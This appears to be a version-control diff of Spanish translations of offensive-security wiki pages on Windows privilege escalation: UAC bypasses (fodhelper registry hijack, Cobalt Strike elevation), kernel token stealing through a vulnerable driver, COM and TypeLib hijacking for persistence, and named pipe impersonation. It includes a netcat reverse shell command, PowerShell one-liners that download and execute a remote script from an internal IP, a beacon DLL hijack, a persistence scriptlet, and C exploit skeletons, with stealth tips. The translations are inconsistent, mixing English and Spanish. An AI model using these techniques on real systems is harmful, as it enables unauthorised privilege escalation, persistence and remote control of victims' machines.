Start-Process powershell -Verb runAs "calc.exe"
|
||||
@ -111,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Muy** Básico UAC "bypass" (acceso completo al sistema de archivos)
|
||||
### **Muy** básico UAC "bypass" (acceso completo al sistema de archivos)
|
||||
|
||||
Si tienes una shell con un usuario que pertenece al grupo Administrators puedes **mount the C$** compartido vía SMB (sistema de archivos) local como una nueva unidad y tendrás **access to everything inside the file system** (incluso la carpeta de inicio de Administrator).
|
||||
Si tienes una shell con un usuario que pertenece al grupo Administrators puedes **montar el recurso compartido C$** vía SMB (sistema de archivos) local en un nuevo disco y tendrás **acceso a todo dentro del sistema de archivos** (incluso la carpeta de inicio de Administrator).
|
||||
|
||||
> [!WARNING]
|
||||
> **Parece que este truco ya no funciona**
|
||||
@ -126,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC bypass con cobalt strike
|
||||
|
||||
Las técnicas de Cobalt Strike solo funcionarán si UAC no está configurado en su nivel de seguridad máximo.
|
||||
Las técnicas de Cobalt Strike solo funcionarán si UAC no está configurado en su nivel máximo de seguridad.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** y **Metasploit** también tienen varios módulos para **bypass** de la **UAC**.
|
||||
**Empire** y **Metasploit** también tienen varios módulos para **bypass** del **UAC**.
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
@ -146,10 +146,10 @@ Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https
|
||||
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varios exploits de bypass de UAC. Tenga en cuenta que necesitará **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitará saber **cuál necesita.**\
|
||||
Debe **tener cuidado** porque algunos bypasses **harán que otros programas muestren avisos** que **alertarán** al **usuario** de que algo está ocurriendo.
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varios UAC bypass exploits. Tenga en cuenta que necesitará **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitará saber **cuál necesita.**\
|
||||
Debería **tener cuidado** porque algunos **bypasses** provocarán que **otros programas** muestren avisos que **alertarán** al **usuario** de que algo está ocurriendo.
|
||||
|
||||
UACME tiene la **versión de build desde la cual cada técnica empezó a funcionar**. Puede buscar una técnica que afecte a sus versiones:
|
||||
UACME indica la **versión de compilación a partir de la cual cada técnica empezó a funcionar**. Puede buscar una técnica que afecte a sus versiones:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -157,17 +157,17 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
Además, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) obtienes la versión de Windows `1607` a partir de los números de compilación.
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
El binario confiable `fodhelper.exe` se autoeleva en Windows modernos. Al ejecutarse, consulta la ruta de registro por usuario que aparece a continuación sin validar el verbo `DelegateExecute`. Plantar un comando allí permite que un proceso de Medium Integrity (el usuario está en Administrators) inicie un proceso de High Integrity sin mostrar un UAC prompt.
|
||||
El binario confiable `fodhelper.exe` se eleva automáticamente en Windows modernos. Cuando se ejecuta, consulta la ruta del registro por usuario que aparece abajo sin validar el verbo `DelegateExecute`. Plantar un comando allí permite que un proceso Medium Integrity (el usuario está en Administrators) inicie un proceso High Integrity sin un UAC prompt.
|
||||
|
||||
Ruta del registro consultada por fodhelper:
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Pasos de PowerShell (set your payload, then trigger):
|
||||
Pasos de PowerShell (configura tu payload, luego actívalo):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
@ -187,44 +187,44 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Notes:
|
||||
- Funciona cuando el usuario actual es miembro de Administrators y el nivel de UAC es predeterminado/permisivo (no Always Notify con restricciones adicionales).
|
||||
- Funciona cuando el usuario actual es miembro de Administrators y el nivel de UAC es predeterminado/leniente (no Always Notify con restricciones extras).
|
||||
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
|
||||
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
|
||||
- Payload puede ser cualquier comando (PowerShell, cmd, o la ruta de un EXE). Evita UIs que requieran interacción para mantener el sigilo.
|
||||
|
||||
#### Más sobre UAC bypass
|
||||
#### More UAC bypass
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
**All** the techniques used here to bypass UAC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
Puedes obtenerla usando una sesión **meterpreter**. Migra a un **process** que tenga el valor **Session** igual a **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ should works)
|
||||
(_explorer.exe_ debería funcionar)
|
||||
|
||||
### UAC Bypass con GUI
|
||||
### UAC Bypass with GUI
|
||||
|
||||
Si tienes acceso a una **GUI puedes simplemente aceptar el UAC prompt** cuando lo recibas; realmente no necesitas un bypass. Por lo tanto, obtener acceso a una GUI te permitirá bypassear el UAC.
|
||||
Si tienes acceso a una **GUI puedes simplemente aceptar el prompt de UAC** cuando aparezca, no necesitas realmente un bypass. Por tanto, obtener acceso a una GUI te permitirá bypassear el UAC.
|
||||
|
||||
Además, si obtienes una sesión GUI que alguien estaba usando (potencialmente vía RDP) hay **algunas herramientas que se estarán ejecutando como administrator** desde las cuales podrías **run** un **cmd** por ejemplo **as admin** directamente sin que UAC vuelva a solicitarlo, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Esto puede ser un poco más **stealthy**.
|
||||
Además, si consigues una sesión GUI que alguien estaba usando (potencialmente vía RDP) hay **algunas herramientas que se ejecutarán como administrador** desde las cuales podrías **ejecutar** un **cmd** por ejemplo **como admin** directamente sin que UAC te vuelva a pedir confirmación, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Esto puede ser un poco más **sigiloso**.
|
||||
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
Si no te importa ser ruidoso siempre podrías **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **ask to elevate permissions until the user does accepts it**.
|
||||
Si no te importa ser ruidoso siempre puedes **ejecutar algo como** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **solicita elevar permisos hasta que el usuario lo acepte**.
|
||||
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
Si miras **UACME** notarás que **la mayoría de los UAC bypasses abusan de una vulnerabilidad Dll Hijacking** (principalmente escribiendo la dll maliciosa en _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
Si miras **UACME** notarás que **la mayoría de los bypasses de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo la dll maliciosa en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
|
||||
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
|
||||
3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
|
||||
1. Encuentra un binario que **autoelevate** (verifica que cuando se ejecuta corre en un nivel de integridad alto).
|
||||
2. Con procmon busca "**NAME NOT FOUND**" eventos que puedan ser vulnerables a **DLL Hijacking**.
|
||||
3. Probablemente necesitarás **escribir** la DLL dentro de algunos **protected paths** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes bypassear esto usando:
|
||||
1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un CAB file dentro de protected paths (porque esta herramienta se ejecuta desde un nivel de integridad alto).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
|
||||
4. Prepara un **script** para copiar tu DLL dentro del path protegido y ejecutar el binario vulnerable y autoelevated.
|
||||
|
||||
### Otra técnica de UAC bypass
|
||||
### Another UAC bypass technique
|
||||
|
||||
Consiste en observar si un **autoElevated binary** intenta **read** desde el **registry** el **name/path** de un **binary** o **command** a ser **executed** (esto es más interesante si el binary busca esta información dentro de **HKCU**).
|
||||
Consiste en observar si un **autoElevated binary** intenta **leer** del **registro** el **name/path** de un **binary** o **command** a **ejecutar** (esto es más interesante si el binary busca esta información dentro de **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,35 +2,35 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumen
|
||||
## Overview
|
||||
|
||||
Si un driver vulnerable expone un IOCTL que le da a un atacante primitivas de lectura y/o escritura arbitraria en kernel, elevarse a NT AUTHORITY\SYSTEM a menudo se logra robando un Token de SYSTEM. La técnica copia el puntero Token desde el EPROCESS de un proceso SYSTEM al EPROCESS del proceso actual.
|
||||
Si un driver vulnerable expone un IOCTL que da a un atacante primitivas de lectura y/o escritura arbitraria en el kernel, elevarse a NT AUTHORITY\SYSTEM a menudo puede lograrse robando un token de SYSTEM. La técnica copia el puntero Token desde el EPROCESS de un proceso SYSTEM al EPROCESS del proceso actual.
|
||||
|
||||
Por qué funciona:
|
||||
- Cada proceso tiene una estructura EPROCESS que contiene (entre otros campos) un Token (en realidad un EX_FAST_REF a un objeto token).
|
||||
- El proceso SYSTEM (PID 4) tiene un token con todos los privilegios habilitados.
|
||||
- Reemplazar el EPROCESS.Token del proceso actual con el puntero al token de SYSTEM hace que el proceso actual se ejecute como SYSTEM inmediatamente.
|
||||
- El proceso SYSTEM (PID 4) posee un token con todos los privilegios habilitados.
|
||||
- Reemplazar EPROCESS.Token del proceso actual con el puntero de token de SYSTEM hace que el proceso actual se ejecute como SYSTEM de inmediato.
|
||||
|
||||
> Los offsets en EPROCESS varían entre versiones de Windows. Determínalos dinámicamente (símbolos) o usa constantes específicas por versión. También recuerda que EPROCESS.Token es un EX_FAST_REF (los 3 bits bajos son banderas del contador de referencias).
|
||||
> Los offsets en EPROCESS varían entre versiones de Windows. Determínalos dinámicamente (símbolos) o usa constantes específicas de versión. También recuerda que EPROCESS.Token es un EX_FAST_REF (los 3 bits menos significativos son banderas de conteo de referencias).
|
||||
|
||||
## Pasos a alto nivel
|
||||
## High-level steps
|
||||
|
||||
1) Localiza la base de ntoskrnl.exe y resuelve la dirección de PsInitialSystemProcess.
|
||||
- Desde user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers para obtener las bases de los drivers cargados.
|
||||
- Añade el offset de PsInitialSystemProcess (desde símbolos/reversing) a la base del kernel para obtener su dirección.
|
||||
2) Lee el puntero en PsInitialSystemProcess → este es un puntero en kernel al EPROCESS de SYSTEM.
|
||||
3) Desde el EPROCESS de SYSTEM, lee los offsets UniqueProcessId y ActiveProcessLinks para recorrer la lista doblemente enlazada de estructuras EPROCESS (ActiveProcessLinks.Flink/Blink) hasta encontrar el EPROCESS cuyo UniqueProcessId sea igual a GetCurrentProcessId(). Conserva ambos:
|
||||
- Suma el offset de PsInitialSystemProcess (desde símbolos/reversing) a la base del kernel para obtener su dirección.
|
||||
2) Lee el puntero en PsInitialSystemProcess → este es un puntero del kernel al EPROCESS de SYSTEM.
|
||||
3) Desde el EPROCESS de SYSTEM, lee los offsets de UniqueProcessId y ActiveProcessLinks para recorrer la lista doblemente enlazada de estructuras EPROCESS (ActiveProcessLinks.Flink/Blink) hasta encontrar el EPROCESS cuyo UniqueProcessId equivale a GetCurrentProcessId(). Conserva ambos:
|
||||
- EPROCESS_SYSTEM (para SYSTEM)
|
||||
- EPROCESS_SELF (para el proceso actual)
|
||||
4) Lee el valor del token de SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Enmascara los 3 bits bajos: Token_SYS_masked = Token_SYS & ~0xF (comúnmente ~0xF o ~0x7 dependiendo del build; en x64 se usan los 3 bits bajos — máscara 0xFFFFFFFFFFFFFFF8).
|
||||
5) Opción A (común): Conserva los 3 bits bajos de tu token actual y únelos al puntero de SYSTEM para mantener consistente el contador de referencias embebido.
|
||||
4) Lee el valor de token de SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Enmascara los 3 bits menos significativos: Token_SYS_masked = Token_SYS & ~0xF (comúnmente ~0xF o ~0x7 dependiendo del build; en x64 se usan los 3 bits bajos — máscara 0xFFFFFFFFFFFFFFF8).
|
||||
5) Opción A (común): Conserva los 3 bits bajos de tu token actual y pégalos al puntero de SYSTEM para mantener consistente el conteo de referencias embebido.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Escribe Token_NEW de vuelta en (EPROCESS_SELF + TokenOffset) usando tu primitiva de escritura en kernel.
|
||||
7) Tu proceso actual ya es SYSTEM. Opcionalmente lanza un nuevo cmd.exe o powershell.exe para confirmar.
|
||||
7) Tu proceso actual ahora es SYSTEM. Opcionalmente inicia un nuevo cmd.exe o powershell.exe para confirmar.
|
||||
|
||||
## Pseudocódigo
|
||||
## Pseudocode
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
```c
|
||||
@ -106,16 +106,16 @@ return 0;
|
||||
}
|
||||
```
|
||||
Notas:
|
||||
- Desplazamientos: Usa WinDbg’s `dt nt!_EPROCESS` con los PDBs del objetivo, o un runtime symbol loader, para obtener offsets correctos. No los codifiques a ciegas.
|
||||
- Máscara: En x64 el token es un EX_FAST_REF; los 3 bits bajos son bits del contador de referencias. Conservar los bits bajos originales de tu token evita inconsistencias inmediatas en el refcount.
|
||||
- Estabilidad: Prefiere elevar el proceso actual; si elevas un helper de corta duración puedes perder SYSTEM cuando termine.
|
||||
- Offsets: Usa `dt nt!_EPROCESS` de WinDbg con los PDBs del objetivo, o un cargador de símbolos en tiempo de ejecución, para obtener offsets correctos. No hardcodees ciegamente.
|
||||
- Mask: En x64 el token es un EX_FAST_REF; los 3 bits bajos son bits de contador de referencias. Conservar los bits bajos originales de tu token evita inconsistencias inmediatas en el refcount.
|
||||
- Stability: Prefiere elevar el proceso actual; si elevas un helper de corta vida puedes perder SYSTEM cuando termine.
|
||||
|
||||
## Detección y mitigación
|
||||
- La carga de drivers de terceros no firmados o no confiables que exponen IOCTLs potentes es la causa raíz.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard y las reglas de Attack Surface Reduction pueden impedir que drivers vulnerables se carguen.
|
||||
- EDR puede detectar secuencias sospechosas de IOCTL que implementen lectura/escritura arbitraria y token swaps.
|
||||
## Detection & mitigation
|
||||
- La carga de drivers de terceros no firmados o no confiables que exponen IOCTLs poderosos es la causa raíz.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, y las reglas de Attack Surface Reduction pueden impedir que se carguen drivers vulnerables.
|
||||
- EDR puede monitorizar secuencias de IOCTL sospechosas que implementen read/write arbitrario y los token swaps.
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
|
@ -7,18 +7,18 @@
|
||||
Como los valores de HKCU pueden ser modificados por los usuarios, **COM Hijacking** podría usarse como un **mecanismo persistente**. Usando `procmon` es fácil encontrar entradas de registro COM buscadas que no existen y que un atacante podría crear para persistir. Filtros:
|
||||
|
||||
- operaciones **RegOpenKey**.
|
||||
- donde el _Result_ es **NAME NOT FOUND**.
|
||||
- y el _Path_ termina con **InprocServer32**.
|
||||
- donde el _Result_ sea **NAME NOT FOUND**.
|
||||
- y la _Path_ termina con **InprocServer32**.
|
||||
|
||||
Una vez que hayas decidido qué COM inexistente suplantar, ejecuta los siguientes comandos. _Ten cuidado si decides suplantar un COM que se carga cada pocos segundos, ya que podría ser excesivo._
|
||||
Una vez que hayas decidido qué COM inexistente suplantar, ejecuta los siguientes comandos. _Ten cuidado si decides suplantar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo._
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||
```
|
||||
### Componentes COM del Task Scheduler que se pueden secuestrar
|
||||
### Componentes COM secuestrables del Programador de Tareas
|
||||
|
||||
Windows Tasks usan Custom Triggers para invocar objetos COM y, dado que se ejecutan a través del Task Scheduler, es más fácil predecir cuándo se van a activar.
|
||||
Las tareas de Windows usan Custom Triggers para invocar objetos COM y, como se ejecutan a través del Task Scheduler, es más fácil predecir cuándo se van a activar.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
@ -49,7 +49,7 @@ Write-Host
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
Al revisar la salida puedes seleccionar uno que se ejecutará, por ejemplo, **cada vez que un usuario inicie sesión**.
|
||||
Al revisar la salida puedes seleccionar uno que se ejecutará **cada vez que un usuario inicie sesión**, por ejemplo.
|
||||
|
||||
Ahora, buscando el CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** en **HKEY\CLASSES\ROOT\CLSID** y en HKLM y HKCU, normalmente encontrarás que el valor no existe en HKCU.
|
||||
```bash
|
||||
@ -72,32 +72,32 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
Entonces, simplemente puedes crear la entrada en HKCU y cada vez que el usuario inicie sesión, tu backdoor se ejecutará.
|
||||
Entonces, puedes simplemente crear la entrada HKCU y cada vez que el usuario inicie sesión, tu backdoor se activará.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) definen interfaces COM y se cargan mediante `LoadTypeLib()`. Cuando se instancia un servidor COM, el OS también puede cargar el TypeLib asociado consultando las claves del registro bajo `HKCR\TypeLib\{LIBID}`. Si la ruta del TypeLib se reemplaza por un **moniker**, p. ej. `script:C:\...\evil.sct`, Windows ejecutará el scriptlet cuando se resuelva el TypeLib, lo que permite una persistencia sigilosa que se activa cuando se usan componentes comunes.
|
||||
Las bibliotecas de tipos (TypeLib) definen interfaces COM y se cargan mediante `LoadTypeLib()`. Cuando se instancia un servidor COM, el sistema operativo también puede cargar el TypeLib asociado consultando las claves del registro bajo `HKCR\TypeLib\{LIBID}`. Si la ruta del TypeLib se reemplaza por un **moniker**, p. ej. `script:C:\...\evil.sct`, Windows ejecutará el scriptlet cuando el TypeLib sea resuelto — produciendo una persistencia sigilosa que se activa cuando se tocan componentes comunes.
|
||||
|
||||
Esto se ha observado contra el Microsoft Web Browser control (frecuentemente cargado por Internet Explorer, apps que incrustan WebBrowser, e incluso `explorer.exe`).
|
||||
Esto se ha observado contra el Microsoft Web Browser control (frecuentemente cargado por Internet Explorer, aplicaciones que incrustan WebBrowser, e incluso `explorer.exe`).
|
||||
|
||||
### Pasos (PowerShell)
|
||||
|
||||
1) Identifica el TypeLib (LIBID) usado por un CLSID de uso frecuente. Ejemplo de CLSID a menudo abusado por cadenas de malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
1) Identifica el TypeLib (LIBID) usado por un CLSID de alta frecuencia. Ejemplo CLSID frecuentemente abusado por cadenas de malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) Apunte la ruta TypeLib por usuario a un scriptlet local usando el moniker `script:` (no se requieren admin rights):
|
||||
2) Apuntar la ruta TypeLib por usuario a un scriptlet local usando el moniker `script:` (no se requieren privilegios de administrador):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) Coloca un `.sct` mínimo en JScript que vuelva a ejecutar tu payload principal (p. ej. un `.lnk` usado por la cadena inicial):
|
||||
3) Coloca un `.sct` mínimo de JScript que vuelva a ejecutar tu payload principal (p. ej., un `.lnk` utilizado por la cadena inicial):
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) Activación – abrir IE, una aplicación que incrusta el control WebBrowser, o incluso la actividad rutinaria de Explorer cargará el TypeLib y ejecutará el scriptlet, rearmando tu chain en logon/reboot.
|
||||
4) Activación – abrir IE, una aplicación que incrusta el WebBrowser control, o incluso la actividad rutinaria de Explorer cargará el TypeLib y ejecutará el scriptlet, rearmando tu chain al logon/reboot.
|
||||
|
||||
Limpieza
|
||||
```powershell
|
||||
@ -124,7 +124,7 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
Notas
|
||||
- Puedes aplicar la misma lógica a otros componentes COM de alta frecuencia; siempre resuelve el real `LIBID` desde `HKCR\CLSID\{CLSID}\TypeLib` primero.
|
||||
- Puedes aplicar la misma lógica a otros componentes COM de alta frecuencia; siempre resuelve primero el `LIBID` real desde `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- En sistemas de 64 bits también puedes poblar la subclave `win64` para consumidores de 64 bits.
|
||||
|
||||
## Referencias
|
||||
|
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Named Pipe client impersonation es un primitivo de escalada de privilegios local que permite a un hilo servidor de named-pipe adoptar el contexto de seguridad de un cliente que se conecta a él. En la práctica, un atacante que puede ejecutar código con SeImpersonatePrivilege puede forzar a un cliente privilegiado (p. ej., un servicio SYSTEM) a conectarse a una pipe controlada por el atacante, llamar a ImpersonateNamedPipeClient, duplicar el token resultante a un token primario y crear un proceso como el cliente (a menudo NT AUTHORITY\SYSTEM).
|
||||
Named Pipe client impersonation es una primitiva de escalada de privilegios local que permite que un hilo servidor de named-pipe adopte el contexto de seguridad de un cliente que se conecta a él. En la práctica, un atacante que pueda ejecutar código con SeImpersonatePrivilege puede forzar a un cliente privilegiado (p. ej., un servicio SYSTEM) a conectarse a una pipe controlada por el atacante, llamar a ImpersonateNamedPipeClient, duplicar el token resultante a un token primario y crear un proceso como el cliente (a menudo NT AUTHORITY\SYSTEM).
|
||||
|
||||
Esta página se centra en la técnica principal. Para cadenas de explotación end-to-end que coaccionen a SYSTEM a conectarse a tu pipe, consulta las páginas de la familia Potato referenciadas más abajo.
|
||||
This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.
|
||||
|
||||
## TL;DR
|
||||
- Crear una named pipe: \\.\pipe\<random> y esperar a una conexión.
|
||||
- Hacer que un componente privilegiado se conecte a ella (spooler/DCOM/EFSRPC/etc.).
|
||||
- Leer al menos un mensaje de la pipe, luego llamar a ImpersonateNamedPipeClient.
|
||||
- Abrir el token de impersonación del hilo actual, DuplicateTokenEx(TokenPrimary), y CreateProcessWithTokenW/CreateProcessAsUser para obtener un proceso SYSTEM.
|
||||
- Create a named pipe: \\.\pipe\<random> and wait for a connection.
|
||||
- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
|
||||
- Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
|
||||
- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.
|
||||
|
||||
## Requisitos y APIs clave
|
||||
- Privilegios que típicamente necesita el proceso/hilo que llama:
|
||||
- Privilegios típicamente necesarios por el proceso/hilo que llama:
|
||||
- SeImpersonatePrivilege para impersonar con éxito a un cliente que se conecta y para usar CreateProcessWithTokenW.
|
||||
- Alternativamente, tras impersonar a SYSTEM, puedes usar CreateProcessAsUser, que puede requerir SeAssignPrimaryTokenPrivilege y SeIncreaseQuotaPrivilege (estos se satisfacen cuando estás impersonando a SYSTEM).
|
||||
- Alternativamente, después de impersonar SYSTEM, puedes usar CreateProcessAsUser, lo cual puede requerir SeAssignPrimaryTokenPrivilege y SeIncreaseQuotaPrivilege (estos están satisfechos cuando estás impersonando SYSTEM).
|
||||
- APIs principales utilizadas:
|
||||
- CreateNamedPipe / ConnectNamedPipe
|
||||
- ReadFile/WriteFile (must read at least one message before impersonation)
|
||||
- ReadFile/WriteFile (se debe leer al menos un mensaje antes de la impersonación)
|
||||
- ImpersonateNamedPipeClient and RevertToSelf
|
||||
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
|
||||
- CreateProcessWithTokenW or CreateProcessAsUser
|
||||
- Impersonation level: para realizar acciones útiles localmente, el cliente debe permitir SecurityImpersonation (valor por defecto para muchos clientes RPC/named-pipe locales). Los clientes pueden reducir esto con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION al abrir la pipe.
|
||||
- Impersonation level: para realizar acciones útiles localmente, el cliente debe permitir SecurityImpersonation (por defecto en muchos clientes locales RPC/named-pipe). Los clientes pueden reducir esto con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION al abrir la pipe.
|
||||
|
||||
## Minimal Win32 workflow (C)
|
||||
```c
|
||||
@ -68,11 +68,12 @@ RevertToSelf(); // Restore original context
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Si ImpersonateNamedPipeClient devuelve ERROR_CANNOT_IMPERSONATE (1368), asegúrate de leer del pipe primero y de que el cliente no haya restringido la impersonación al nivel Identification.
|
||||
Notas:
|
||||
- Si ImpersonateNamedPipeClient devuelve ERROR_CANNOT_IMPERSONATE (1368), asegúrate de leer del pipe primero y de que el cliente no restringió impersonation al nivel Identification.
|
||||
